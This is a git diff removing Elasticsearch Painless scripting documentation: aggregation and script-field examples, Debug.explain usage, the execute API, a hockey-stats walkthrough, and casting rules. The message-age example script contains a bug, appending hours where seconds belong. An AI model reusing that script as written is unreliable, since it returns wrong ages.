-{ref}/search-aggregations-bucket-terms-aggregation.html#search-aggregations-bucket-terms-aggregation-script[terms aggregation]
-as part of the
-<<painless-bucket-script-agg-context, bucket script aggregation context>> to
-display the number of messages from each day-of-the-week.
-
-[source,console]
-----
-GET /messages/_search?pretty=true
-{
-  "aggs": {
-    "day-of-week-count": {
-      "terms": {
-        "script": "return doc[\"datetime\"].value.getDayOfWeekEnum();"
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-===== Morning/Evening Bucket Aggregation Example
-
-The following example uses a
-{ref}/search-aggregations-bucket-terms-aggregation.html#search-aggregations-bucket-terms-aggregation-script[terms aggregation]
-as part of the
-<<painless-bucket-script-agg-context, bucket script aggregation context>> to
-display the number of messages received in the morning versus the evening.
-
-[source,console]
-----
-GET /messages/_search?pretty=true
-{
-  "aggs": {
-    "am-pm-count": {
-      "terms": {
-        "script": "return doc[\"datetime\"].value.getHour() < 12 ? \"AM\" : \"PM\";"
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-===== Age of a Message Script Field Example
-
-The following example uses a
-{ref}/search-fields.html#script-fields[script field] as part of the
-<<painless-field-context, field context>> to display the elapsed time between
-"now" and when a message was received.
-
-[source,console]
-----
-GET /_search?pretty=true
-{
-  "query": {
-    "match_all": {}
-  },
-  "script_fields": {
-    "message_age": {
-      "script": {
-        "source": "ZonedDateTime now = ZonedDateTime.ofInstant(Instant.ofEpochMilli(params[\"now\"]), ZoneId.of(\"Z\")); ZonedDateTime mdt = doc[\"datetime\"].value; String age; long years = mdt.until(now, ChronoUnit.YEARS); age = years + \"Y \"; mdt = mdt.plusYears(years); long months = mdt.until(now, ChronoUnit.MONTHS); age += months + \"M \"; mdt = mdt.plusMonths(months); long days = mdt.until(now, ChronoUnit.DAYS); age += days + \"D \"; mdt = mdt.plusDays(days); long hours = mdt.until(now, ChronoUnit.HOURS); age += hours + \"h \"; mdt = mdt.plusHours(hours); long minutes = mdt.until(now, ChronoUnit.MINUTES); age += minutes + \"m \"; mdt = mdt.plusMinutes(minutes); long seconds = mdt.until(now, ChronoUnit.SECONDS); age += hours + \"s\"; return age;",
-        "params": {
-          "now": 1574005645830
-        }
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-The following shows the script broken into multiple lines:
-
-[source,Painless]
-----
-ZonedDateTime now = ZonedDateTime.ofInstant(
-        Instant.ofEpochMilli(params['now']), ZoneId.of('Z')); <1>
-ZonedDateTime mdt = doc['datetime'].value; <2>
-
-String age;
-
-long years = mdt.until(now, ChronoUnit.YEARS); <3>
-age = years + 'Y '; <4>
-mdt = mdt.plusYears(years); <5>
-
-long months = mdt.until(now, ChronoUnit.MONTHS);
-age += months + 'M ';
-mdt = mdt.plusMonths(months);
-
-long days = mdt.until(now, ChronoUnit.DAYS);
-age += days + 'D ';
-mdt = mdt.plusDays(days);
-
-long hours = mdt.until(now, ChronoUnit.HOURS);
-age += hours + 'h ';
-mdt = mdt.plusHours(hours);
-
-long minutes = mdt.until(now, ChronoUnit.MINUTES);
-age += minutes + 'm ';
-mdt = mdt.plusMinutes(minutes);
-
-long seconds = mdt.until(now, ChronoUnit.SECONDS);
-age += hours + 's';
-
-return age; <6>
-----
-<1> Parse the datetime "now" as input from the user-defined params.
-<2> Store the datetime the message was received as a `ZonedDateTime`.
-<3> Find the difference in years between "now" and the datetime the message was
-received.
-<4> Add the difference in years later returned in the format
-`Y <years> ...` for the age of a message.
-<5> Add the years so only the remainder of the months, days, etc. remain as the
-difference between "now" and the datetime the message was received. Repeat this
-pattern until the desired granularity is reached (seconds in this example).
-<6> Return the age of the message in the format
-`Y <years> M <months> D <days> h <hours> m <minutes> s <seconds>`.
diff --git a/docs/painless/painless-guide/painless-debugging.asciidoc b/docs/painless/painless-guide/painless-debugging.asciidoc
deleted file mode 100644
index afd83705964..00000000000
--- a/docs/painless/painless-guide/painless-debugging.asciidoc
+++ /dev/null
@@ -1,92 +0,0 @@
-[[painless-debugging]]
-=== Painless Debugging
-
-==== Debug.Explain
-
-Painless doesn't have a
-{wikipedia}/Read%E2%80%93eval%E2%80%93print_loop[REPL]
-and while it'd be nice for it to have one day, it wouldn't tell you the
-whole story around debugging painless scripts embedded in Elasticsearch because
-the data that the scripts have access to or "context" is so important. For now
-the best way to debug embedded scripts is by throwing exceptions at choice
-places. While you can throw your own exceptions
-(`throw new Exception('whatever')`), Painless's sandbox prevents you from
-accessing useful information like the type of an object. So Painless has a
-utility method, `Debug.explain` which throws the exception for you. For
-example, you can use {ref}/search-explain.html[`_explain`] to explore the
-context available to a {ref}/query-dsl-script-query.html[script query].
-
-[source,console]
----------------------------------------------------------
-PUT /hockey/_doc/1?refresh
-{"first":"johnny","last":"gaudreau","goals":[9,27,1],"assists":[17,46,0],"gp":[26,82,1]}
-
-POST /hockey/_explain/1
-{
-  "query": {
-    "script": {
-      "script": "Debug.explain(doc.goals)"
-    }
-  }
-}
----------------------------------------------------------
-// TEST[s/_explain\/1/_explain\/1?error_trace=false/ catch:/painless_explain_error/]
-// The test system sends error_trace=true by default for easier debugging so
-// we have to override it to get a normal shaped response
-
-Which shows that the class of `doc.first` is
-`org.elasticsearch.index.fielddata.ScriptDocValues.Longs` by responding with:
-
-[source,console-result]
----------------------------------------------------------
-{
-   "error": {
-      "type": "script_exception",
-      "to_string": "[1, 9, 27]",
-      "painless_class": "org.elasticsearch.index.fielddata.ScriptDocValues.Longs",
-      "java_class": "org.elasticsearch.index.fielddata.ScriptDocValues$Longs",
-      ...
-   },
-   "status": 400
-}
----------------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"script_stack": $body.error.script_stack, "script": $body.error.script, "lang": $body.error.lang, "position": $body.error.position, "caused_by": $body.error.caused_by, "root_cause": $body.error.root_cause, "reason": $body.error.reason/]
-
-You can use the same trick to see that `_source` is a `LinkedHashMap`
-in the `_update` API:
-
-[source,console]
----------------------------------------------------------
-POST /hockey/_update/1
-{
-  "script": "Debug.explain(ctx._source)"
-}
----------------------------------------------------------
-// TEST[continued s/_update\/1/_update\/1?error_trace=false/ catch:/painless_explain_error/]
-
-The response looks like:
-
-[source,console-result]
----------------------------------------------------------
-{
-  "error" : {
-    "root_cause": ...,
-    "type": "illegal_argument_exception",
-    "reason": "failed to execute script",
-    "caused_by": {
-      "type": "script_exception",
-      "to_string": "{gp=[26, 82, 1], last=gaudreau, assists=[17, 46, 0], first=johnny, goals=[9, 27, 1]}",
-      "painless_class": "java.util.LinkedHashMap",
-      "java_class": "java.util.LinkedHashMap",
-      ...
-    }
-  },
-  "status": 400
-}
----------------------------------------------------------
-// TESTRESPONSE[s/"root_cause": \.\.\./"root_cause": $body.error.root_cause/]
-// TESTRESPONSE[s/\.\.\./"script_stack": $body.error.caused_by.script_stack, "script": $body.error.caused_by.script, "lang": $body.error.caused_by.lang, "position": $body.error.caused_by.position, "caused_by": $body.error.caused_by.caused_by, "reason": $body.error.caused_by.reason/]
-// TESTRESPONSE[s/"to_string": ".+"/"to_string": $body.error.caused_by.to_string/]
-
-Once you have a class you can go to <<painless-api-reference>> to see a list of
-available methods.
diff --git a/docs/painless/painless-guide/painless-execute-script.asciidoc b/docs/painless/painless-guide/painless-execute-script.asciidoc
deleted file mode 100644
index 6c61d5f6011..00000000000
--- a/docs/painless/painless-guide/painless-execute-script.asciidoc
+++ /dev/null
@@ -1,166 +0,0 @@
-[[painless-execute-api]]
-=== Painless execute API
-
-experimental[The painless execute api is new and the request / response format may change in a breaking way in the future]
-
-The Painless execute API allows an arbitrary script to be executed and a result to be returned.
-
-[[painless-execute-api-parameters]]
-.Parameters
-[options="header"]
-|======
-| Name              | Required  | Default                | Description
-| `script`          | yes       | -                      | The script to execute.
-| `context`         | no        | `painless_test`        | The context the script should be executed in.
-| `context_setup`   | no        | -                      | Additional parameters to the context.
-|======
-
-==== Contexts
-
-Contexts control how scripts are executed, what variables are available at runtime and what the return type is.
-
-===== Painless test context
-
-The `painless_test` context executes scripts as is and does not add any special parameters.
-The only variable that is available is `params`, which can be used to access user defined values.
-The result of the script is always converted to a string.
-If no context is specified then this context is used by default.
-
-*Example*
-
-Request:
-
-[source,console]
-----------------------------------------------------------------
-POST /_scripts/painless/_execute
-{
-  "script": {
-    "source": "params.count / params.total",
-    "params": {
-      "count": 100.0,
-      "total": 1000.0
-    }
-  }
-}
-----------------------------------------------------------------
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "result": "0.1"
-}
---------------------------------------------------
-
-===== Filter context
-
-The `filter` context executes scripts as if they were executed inside a `script` query.
-For testing purposes, a document must be provided so that it will be temporarily indexed in-memory and
-is accessible from the script. More precisely, the _source, stored fields and doc values of such a 
-document are available to the script being tested.
-
-The following parameters may be specified in `context_setup` for a filter context:
-
-document:: Contains the document that will be temporarily indexed in-memory and is accessible from the script.
-index:: The name of an index containing a mapping that is compatible with the document being indexed.
-
-*Example*
-
-[source,console]
-----------------------------------------------------------------
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "field": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-
-POST /_scripts/painless/_execute
-{
-  "script": {
-    "source": "doc['field'].value.length() <= params.max_length",
-    "params": {
-      "max_length": 4
-    }
-  },
-  "context": "filter",
-  "context_setup": {
-    "index": "my-index-000001",
-    "document": {
-      "field": "four"
-    }
-  }
-}
-----------------------------------------------------------------
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "result": true
-}
---------------------------------------------------
-
-
-===== Score context
-
-The `score` context executes scripts as if they were executed inside a `script_score` function in
-`function_score` query.
-
-The following parameters may be specified in `context_setup` for a score context:
-
-document:: Contains the document that will be temporarily indexed in-memory and is accessible from the script.
-index:: The name of an index containing a mapping that is compatible with the document being indexed.
-query:: If `_score` is used in the script then a query can specify that it will be used to compute a score.
-
-*Example*
-
-[source,console]
-----------------------------------------------------------------
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "field": {
-        "type": "keyword"
-      },
-      "rank": {
-        "type": "long"
-      }
-    }
-  }
-}
-
-
-POST /_scripts/painless/_execute
-{
-  "script": {
-    "source": "doc['rank'].value / params.max_rank",
-    "params": {
-      "max_rank": 5.0
-    }
-  },
-  "context": "score",
-  "context_setup": {
-    "index": "my-index-000001",
-    "document": {
-      "rank": 4
-    }
-  }
-}
-----------------------------------------------------------------
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "result": 0.8
-}
---------------------------------------------------
diff --git a/docs/painless/painless-guide/painless-method-dispatch.asciidoc b/docs/painless/painless-guide/painless-method-dispatch.asciidoc
deleted file mode 100644
index dcb5a5b3cd1..00000000000
--- a/docs/painless/painless-guide/painless-method-dispatch.asciidoc
+++ /dev/null
@@ -1,30 +0,0 @@
-[[modules-scripting-painless-dispatch]]
-=== How painless dispatches functions
-
-Painless uses receiver, name, and {wikipedia}/Arity[arity]
-for method dispatch. For example, `s.foo(a, b)` is resolved by first getting
-the class of `s` and then looking up the method `foo` with two parameters. This
-is different from Groovy which uses the
-{wikipedia}/Multiple_dispatch[runtime types] of the
-parameters and Java which uses the compile time types of the parameters.
-
-The consequence of this that Painless doesn't support overloaded methods like
-Java, leading to some trouble when it allows classes from the Java
-standard library. For example, in Java and Groovy, `Matcher` has two methods:
-`group(int)` and `group(String)`. Painless can't allow both of these methods
-because they have the same name and the same number of parameters. So instead it
-has `group(int)` and `namedGroup(String)`.
-
-We have a few justifications for this different way of dispatching methods:
-
-1. It makes operating on `def` types simpler and, presumably, faster. Using
-receiver, name, and arity means that when Painless sees a call on a `def` object it
-can dispatch the appropriate method without having to do expensive comparisons
-of the types of the parameters. The same is true for invocations with `def`
-typed parameters.
-2. It keeps things consistent. It would be genuinely weird for Painless to
-behave like Groovy if any `def` typed parameters were involved and Java
-otherwise. It'd be slow for it to behave like Groovy all the time.
-3. It keeps Painless maintainable. Adding the Java or Groovy like method
-dispatch *feels* like it'd add a ton of complexity which'd make maintenance and
-other improvements much more difficult.
diff --git a/docs/painless/painless-guide/painless-walkthrough.asciidoc b/docs/painless/painless-guide/painless-walkthrough.asciidoc
deleted file mode 100644
index f61cc7568dc..00000000000
--- a/docs/painless/painless-guide/painless-walkthrough.asciidoc
+++ /dev/null
@@ -1,342 +0,0 @@
-[[painless-walkthrough]]
-=== A Brief Painless Walkthrough
-
-To illustrate how Painless works, let's load some hockey stats into an Elasticsearch index:
-
-[source,console]
-----------------------------------------------------------------
-PUT hockey/_bulk?refresh
-{"index":{"_id":1}}
-{"first":"johnny","last":"gaudreau","goals":[9,27,1],"assists":[17,46,0],"gp":[26,82,1],"born":"1993/08/13"}
-{"index":{"_id":2}}
-{"first":"sean","last":"monohan","goals":[7,54,26],"assists":[11,26,13],"gp":[26,82,82],"born":"1994/10/12"}
-{"index":{"_id":3}}
-{"first":"jiri","last":"hudler","goals":[5,34,36],"assists":[11,62,42],"gp":[24,80,79],"born":"1984/01/04"}
-{"index":{"_id":4}}
-{"first":"micheal","last":"frolik","goals":[4,6,15],"assists":[8,23,15],"gp":[26,82,82],"born":"1988/02/17"}
-{"index":{"_id":5}}
-{"first":"sam","last":"bennett","goals":[5,0,0],"assists":[8,1,0],"gp":[26,1,0],"born":"1996/06/20"}
-{"index":{"_id":6}}
-{"first":"dennis","last":"wideman","goals":[0,26,15],"assists":[11,30,24],"gp":[26,81,82],"born":"1983/03/20"}
-{"index":{"_id":7}}
-{"first":"david","last":"jones","goals":[7,19,5],"assists":[3,17,4],"gp":[26,45,34],"born":"1984/08/10"}
-{"index":{"_id":8}}
-{"first":"tj","last":"brodie","goals":[2,14,7],"assists":[8,42,30],"gp":[26,82,82],"born":"1990/06/07"}
-{"index":{"_id":39}}
-{"first":"mark","last":"giordano","goals":[6,30,15],"assists":[3,30,24],"gp":[26,60,63],"born":"1983/10/03"}
-{"index":{"_id":10}}
-{"first":"mikael","last":"backlund","goals":[3,15,13],"assists":[6,24,18],"gp":[26,82,82],"born":"1989/03/17"}
-{"index":{"_id":11}}
-{"first":"joe","last":"colborne","goals":[3,18,13],"assists":[6,20,24],"gp":[26,67,82],"born":"1990/01/30"}
-----------------------------------------------------------------
-// TESTSETUP
-
-[discrete]
-==== Accessing Doc Values from Painless
-
-Document values can be accessed from a `Map` named `doc`.
-
-For example, the following script calculates a player's total goals. This example uses a strongly typed `int` and a `for` loop.
-
-[source,console]
-----------------------------------------------------------------
-GET hockey/_search
-{
-  "query": {
-    "function_score": {
-      "script_score": {
-        "script": {
-          "lang": "painless",
-          "source": """
-            int total = 0;
-            for (int i = 0; i < doc['goals'].length; ++i) {
-              total += doc['goals'][i];
-            }
-            return total;
-          """
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------------------
-
-Alternatively, you could do the same thing using a script field instead of a function score:
-
-[source,console]
-----------------------------------------------------------------
-GET hockey/_search
-{
-  "query": {
-    "match_all": {}
-  },
-  "script_fields": {
-    "total_goals": {
-      "script": {
-        "lang": "painless",
-        "source": """
-          int total = 0;
-          for (int i = 0; i < doc['goals'].length; ++i) {
-            total += doc['goals'][i];
-          }
-          return total;
-        """
-      }
-    }
-  }
-}
-----------------------------------------------------------------
-
-The following example uses a Painless script to sort the players by their combined first and last names. The names are accessed using
-`doc['first'].value` and `doc['last'].value`.
-
-[source,console]
-----------------------------------------------------------------
-GET hockey/_search
-{
-  "query": {
-    "match_all": {}
-  },
-  "sort": {
-    "_script": {
-      "type": "string",
-      "order": "asc",
-      "script": {
-        "lang": "painless",
-        "source": "doc['first.keyword'].value + ' ' + doc['last.keyword'].value"
-      }
-    }
-  }
-}
-----------------------------------------------------------------
-
-
-[discrete]
-==== Missing values
-
-`doc['field'].value` throws an exception if
-the field is missing in a document.
-
-To check if a document is missing a value, you can call
-`doc['field'].size() == 0`.
-
-
-[discrete]
-==== Updating Fields with Painless
-
-You can also easily update fields. You access the original source for a field as `ctx._source.<field-name>`.
-
-First, let's look at the source data for a player by submitting the following request:
-
-[source,console]
-----------------------------------------------------------------
-GET hockey/_search
-{
-  "query": {
-    "term": {
-      "_id": 1
-    }
-  }
-}
-----------------------------------------------------------------
-
-To change player 1's last name to `hockey`, simply set `ctx._source.last` to the new value:
-
-[source,console]
-----------------------------------------------------------------
-POST hockey/_update/1
-{
-  "script": {
-    "lang": "painless",
-    "source": "ctx._source.last = params.last",
-    "params": {
-      "last": "hockey"
-    }
-  }
-}
-----------------------------------------------------------------
-
-You can also add fields to a document. For example, this script adds a new field that contains
-the player's nickname,  _hockey_.
-
-[source,console]
-----------------------------------------------------------------
-POST hockey/_update/1
-{
-  "script": {
-    "lang": "painless",
-    "source": """
-      ctx._source.last = params.last;
-      ctx._source.nick = params.nick
-    """,
-    "params": {
-      "last": "gaudreau",
-      "nick": "hockey"
-    }
-  }
-}
-----------------------------------------------------------------
-
-[discrete]
-[[modules-scripting-painless-dates]]
-==== Dates
-
-Date fields are exposed as
-`ZonedDateTime`, so they support methods like `getYear`, `getDayOfWeek`
-or e.g. getting milliseconds since epoch with `getMillis`. To use these
-in a script, leave out the `get` prefix and continue with lowercasing the
-rest of the method name. For example, the following returns every hockey
-player's birth year:
-
-[source,console]
-----------------------------------------------------------------
-GET hockey/_search
-{
-  "script_fields": {
-    "birth_year": {
-      "script": {
-        "source": "doc.born.value.year"
-      }
-    }
-  }
-}
-----------------------------------------------------------------
-
-[discrete]
-[[modules-scripting-painless-regex]]
-==== Regular expressions
-
-NOTE: Regexes are enabled by default as the Setting `script.painless.regex.enabled` 
-has a new option, `limited`, the default. This defaults to using regular expressions 
-but limiting the complexity of the regular expressions. Innocuous looking regexes 
-can have staggering performance and stack depth behavior. But still, they remain an 
-amazingly powerful tool. In addition, to `limited`, the setting can be set to `true`, 
-as before, which enables regular expressions without limiting them.To enable them 
-yourself set `script.painless.regex.enabled: true` in `elasticsearch.yml`.
-
-Painless's native support for regular expressions has syntax constructs:
-
-* `/pattern/`: Pattern literals create patterns. This is the only way to create
-a pattern in painless. The pattern inside the ++/++'s are just
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java regular expressions].
-See <<pattern-flags>> for more.
-* `=~`: The find operator return a `boolean`, `true` if a subsequence of the
-text matches, `false` otherwise.
-* `==~`: The match operator returns a `boolean`, `true` if the text matches,
-`false` if it doesn't.
-
-Using the find operator (`=~`) you can update all hockey players with "b" in
-their last name:
-
-[source,console]
-----------------------------------------------------------------
-POST hockey/_update_by_query
-{
-  "script": {
-    "lang": "painless",
-    "source": """
-      if (ctx._source.last =~ /b/) {
-        ctx._source.last += "matched";
-      } else {
-        ctx.op = "noop";
-      }
-    """
-  }
-}
-----------------------------------------------------------------
-
-Using the match operator (`==~`) you can update all the hockey players whose
-names start with a consonant and end with a vowel:
-
-[source,console]
-----------------------------------------------------------------
-POST hockey/_update_by_query
-{
-  "script": {
-    "lang": "painless",
-    "source": """
-      if (ctx._source.last ==~ /[^aeiou].*[aeiou]/) {
-        ctx._source.last += "matched";
-      } else {
-        ctx.op = "noop";
-      }
-    """
-  }
-}
-----------------------------------------------------------------
-
-You can use the `Pattern.matcher` directly to get a `Matcher` instance and
-remove all of the vowels in all of their last names:
-
-[source,console]
-----------------------------------------------------------------
-POST hockey/_update_by_query
-{
-  "script": {
-    "lang": "painless",
-    "source": "ctx._source.last = /[aeiou]/.matcher(ctx._source.last).replaceAll('')"
-  }
-}
-----------------------------------------------------------------
-
-`Matcher.replaceAll` is just a call to Java's `Matcher`'s
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Matcher.html#replaceAll-java.lang.String-[replaceAll]
-method so it supports `$1` and `\1` for replacements:
-
-[source,console]
-----------------------------------------------------------------
-POST hockey/_update_by_query
-{
-  "script": {
-    "lang": "painless",
-    "source": "ctx._source.last = /n([aeiou])/.matcher(ctx._source.last).replaceAll('$1')"
-  }
-}
-----------------------------------------------------------------
-
-If you need more control over replacements you can call `replaceAll` on a
-`CharSequence` with a `Function<Matcher, String>` that builds the replacement.
-This does not support `$1` or `\1` to access replacements because you already
-have a reference to the matcher and can get them with `m.group(1)`.
-
-IMPORTANT: Calling `Matcher.find` inside of the function that builds the
-replacement is rude and will likely break the replacement process.
-
-This will make all of the vowels in the hockey player's last names upper case:
-
-[source,console]
-----------------------------------------------------------------
-POST hockey/_update_by_query
-{
-  "script": {
-    "lang": "painless",
-    "source": """
-      ctx._source.last = ctx._source.last.replaceAll(/[aeiou]/, m ->
-        m.group().toUpperCase(Locale.ROOT))
-    """
-  }
-}
-----------------------------------------------------------------
-
-Or you can use the `CharSequence.replaceFirst` to make the first vowel in their
-last names upper case:
-
-[source,console]
-----------------------------------------------------------------
-POST hockey/_update_by_query
-{
-  "script": {
-    "lang": "painless",
-    "source": """
-      ctx._source.last = ctx._source.last.replaceFirst(/[aeiou]/, m ->
-        m.group().toUpperCase(Locale.ROOT))
-    """
-  }
-}
-----------------------------------------------------------------
-
-Note: all of the `_update_by_query` examples above could really do with a
-`query` to limit the data that they pull back. While you *could* use a
-{ref}/query-dsl-script-query.html[script query] it wouldn't be as efficient
-as using any other query because script queries aren't able to use the inverted
-index to limit the documents that they have to check.
diff --git a/docs/painless/painless-lang-spec.asciidoc b/docs/painless/painless-lang-spec.asciidoc
deleted file mode 100644
index aeb1a9d4c75..00000000000
--- a/docs/painless/painless-lang-spec.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-[[painless-lang-spec]]
-== Painless Language Specification
-
-Painless is a scripting language designed for security and performance.
-Painless syntax is similar to Java syntax along with some additional
-features such as dynamic typing, Map and List accessor shortcuts, and array
-initializers. As a direct comparison to Java, there are some important
-differences, especially related to the casting model. For more detailed
-conceptual information about the basic constructs that Painless and Java share,
-refer to the corresponding topics in the
-https://docs.oracle.com/javase/specs/jls/se8/html/index.html[Java Language
-Specification].
-
-Painless scripts are parsed and compiled using the https://www.antlr.org/[ANTLR4]
-and https://asm.ow2.org/[ASM] libraries. Scripts are compiled directly
-into Java Virtual Machine (JVM) byte code and executed against a standard JVM.
-This specification uses ANTLR4 grammar notation to describe the allowed syntax.
-However, the actual Painless grammar is more compact than what is shown here.
-
-include::painless-lang-spec/index.asciidoc[]
diff --git a/docs/painless/painless-lang-spec/index.asciidoc b/docs/painless/painless-lang-spec/index.asciidoc
deleted file mode 100644
index e75264ff3e4..00000000000
--- a/docs/painless/painless-lang-spec/index.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-include::painless-comments.asciidoc[]
-
-include::painless-keywords.asciidoc[]
-
-include::painless-literals.asciidoc[]
-
-include::painless-identifiers.asciidoc[]
-
-include::painless-variables.asciidoc[]
-
-include::painless-types.asciidoc[]
-
-include::painless-casting.asciidoc[]
-
-include::painless-operators.asciidoc[]
-
-include::painless-operators-general.asciidoc[]
-
-include::painless-operators-numeric.asciidoc[]
-
-include::painless-operators-boolean.asciidoc[]
-
-include::painless-operators-reference.asciidoc[]
-
-include::painless-operators-array.asciidoc[]
-
-include::painless-statements.asciidoc[]
-
-include::painless-scripts.asciidoc[]
-
-include::painless-functions.asciidoc[]
-
-include::painless-lambdas.asciidoc[]
-
-include::painless-regexes.asciidoc[]
diff --git a/docs/painless/painless-lang-spec/painless-casting.asciidoc b/docs/painless/painless-lang-spec/painless-casting.asciidoc
deleted file mode 100644
index 25e7e345ba0..00000000000
--- a/docs/painless/painless-lang-spec/painless-casting.asciidoc
+++ /dev/null
@@ -1,536 +0,0 @@
-[[painless-casting]]
-=== Casting
-
-A cast converts the value of an original type to the equivalent value of a
-target type. An implicit cast infers the target type and automatically occurs
-during certain <<painless-operators, operations>>. An explicit cast specifies
-the target type and forcefully occurs as its own operation.  Use the `cast
-operator '()'` to specify an explicit cast.
-
-Refer to the <<allowed-casts, cast table>> for a quick reference on all
-allowed casts.
-
-*Errors*
-
-* If during a cast there exists no equivalent value for the target type.
-* If an implicit cast is given, but an explicit cast is required.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-cast: '(' TYPE ')' expression
-----
-
-*Examples*
-
-* Valid casts.
-+
-[source,Painless]
-----
-int i = (int)5L;         <1>
-Map m = new HashMap();   <2>
-HashMap hm = (HashMap)m; <3>
-----
-+
-<1> declare `int i`;
-    explicit cast `long 5` to `int 5` -> `int 5`;
-    store `int 5` to `i`
-<2> declare `Map m`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `Map reference` -> `Map reference`;
-    store `Map reference` to `m`
-<3> declare `HashMap hm`;
-    load from `m` -> `Map reference`;
-    explicit cast `Map reference` to `HashMap reference` -> `HashMap reference`;
-    store `HashMap reference` to `hm`
-
-[[numeric-type-casting]]
-==== Numeric Type Casting
-
-A <<primitive-types, numeric type>> cast converts the value of an original
-numeric type to the equivalent value of a target numeric type. A cast between
-two numeric type values results in data loss when the value of the original
-numeric type is larger than the target numeric type can accommodate. A cast
-between an integer type value and a floating point type value can result in
-precision loss.
-
-The allowed casts for values of each numeric type are shown as a row in the
-following table:
-
-|====
-|        | byte     | short    | char     | int      | long     | float    | double
-| byte   |          | implicit | implicit | implicit | implicit | implicit | implicit
-| short  | explicit |          | explicit | implicit | implicit | implicit | implicit
-| char   | explicit | explicit |          | implicit | implicit | implicit | implicit
-| int    | explicit | explicit | explicit |          | implicit | implicit | implicit
-| long   | explicit | explicit | explicit | explicit |          | implicit | implicit
-| float  | explicit | explicit | explicit | explicit | explicit |          | implicit
-| double | explicit | explicit | explicit | explicit | explicit | explicit |
-|====
-
-*Examples*
-
-* Valid numeric type casts.
-+
-[source,Painless]
-----
-int a = 1;            <1>
-long b = a;           <2>
-short c = (short)b;   <3>
-double e = (double)a; <4>
-----
-+
-<1> declare `int a`;
-    store `int 1` to `a`
-<2> declare `long b`;
-    load from `a` -> `int 1`;
-    implicit cast `int 1` to `long 1` -> `long 1`;
-    store `long 1` to `b`
-<3> declare `short c`;
-    load from `b` -> `long 1`;
-    explicit cast `long 1` to `short 1` -> `short 1`;
-    store `short 1` value to `c`
-<4> declare `double e`;
-    load from `a` -> `int 1`;
-    explicit cast `int 1` to `double 1.0`;
-    store `double 1.0` to `e`;
-    (note the explicit cast is extraneous since an implicit cast is valid)
-+
-* Invalid numeric type casts resulting in errors.
-+
-[source,Painless]
-----
-int a = 1.0; // error <1>
-int b = 2;            <2>
-byte c = b;  // error <3>
-----
-+
-<1> declare `int i`;
-    *error* -> cannot implicit cast `double 1.0` to `int 1`;
-    (note an explicit cast is valid)
-<2> declare `int b`;
-    store `int 2` to `b`
-<3> declare byte `c`;
-    load from `b` -> `int 2`;
-    *error* -> cannot implicit cast `int 2` to `byte 2`;
-    (note an explicit cast is valid)
-
-[[reference-type-casting]]
-==== Reference Type Casting
-
-A <<reference-types, reference type>> cast converts the value of an original
-reference type to the equivalent value of a target reference type. An implicit
-cast between two reference type values is allowed when the original reference
-type is a descendant of the target type. An explicit cast between two reference
-type values is allowed when the original type is a descendant of the target type
-or the target type is a descendant of the original type.
-
-*Examples*
-
-* Valid reference type casts.
-+
-[source,Painless]
-----
-List x;                        <1>
-ArrayList y = new ArrayList(); <2>
-x = y;                         <3>
-y = (ArrayList)x;              <4>
-x = (List)y;                   <5>
-----
-+
-<1> declare `List x`;
-    store default value `null` to `x`
-<2> declare `ArrayList y`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    store `ArrayList reference` to `y`;
-<3> load from `y` -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `x`;
-    (note `ArrayList` is a descendant of `List`)
-<4> load from `x` -> `List reference`;
-    explicit cast `List reference` to `ArrayList reference`
-            -> `ArrayList reference`;
-    store `ArrayList reference` to `y`;
-<5> load from `y` -> `ArrayList reference`;
-    explicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `x`;
-    (note the explicit cast is extraneous, and an implicit cast is valid)
-+
-* Invalid reference type casts resulting in errors.
-+
-[source,Painless]
-----
-List x = new ArrayList();          <1>
-ArrayList y = x;          // error <2>
-Map m = (Map)x;           // error <3>
-----
-+
-<1> declare `List x`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `x`
-<2> declare `ArrayList y`;
-    load from `x` -> `List reference`;
-    *error* -> cannot implicit cast `List reference` to `ArrayList reference`;
-    (note an explicit cast is valid since `ArrayList` is a descendant of `List`)
-<3> declare `ArrayList y`;
-    load from `x` -> `List reference`;
-    *error* -> cannot explicit cast `List reference` to `Map reference`;
-    (note no cast is valid since neither `List` nor `Map` is a descendant of the
-            other)
-
-[[dynamic-type-casting]]
-==== Dynamic Type Casting
-
-A <<dynamic-types, dynamic (`def`) type>> cast converts the value of an original
-`def` type to the equivalent value of any target type or converts the value of
-any original type to the equivalent value of a target `def` type.
-
-An implicit cast from any original type value to a `def` type value is always
-allowed. An explicit cast from any original type value to a `def` type value is
-always allowed but never necessary.
-
-An implicit or explicit cast from an original `def` type value to
-any target type value is allowed if and only if the cast is normally allowed
-based on the current type value the `def` type value represents.
-
-*Examples*
-
-* Valid dynamic type casts with any original type to a target `def` type.
-+
-[source,Painless]
-----
-def d0 = 3;               <1>
-d0 = new ArrayList();     <2>
-Object o = new HashMap(); <3>
-def d1 = o;               <4>
-int i = d1.size();        <5>
-----
-+
-<1> declare `def d0`;
-    implicit cast `int 3` to `def`;
-    store `int 3` to `d0`
-<2> allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`;
-    store `def` to `d0`
-<3> declare `Object o`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `Object reference`
-            -> `Object reference`;
-    store `Object reference` to `o`
-<4> declare `def d1`;
-    load from `o` -> `Object reference`;
-    implicit cast `Object reference` to `def` -> `def`;
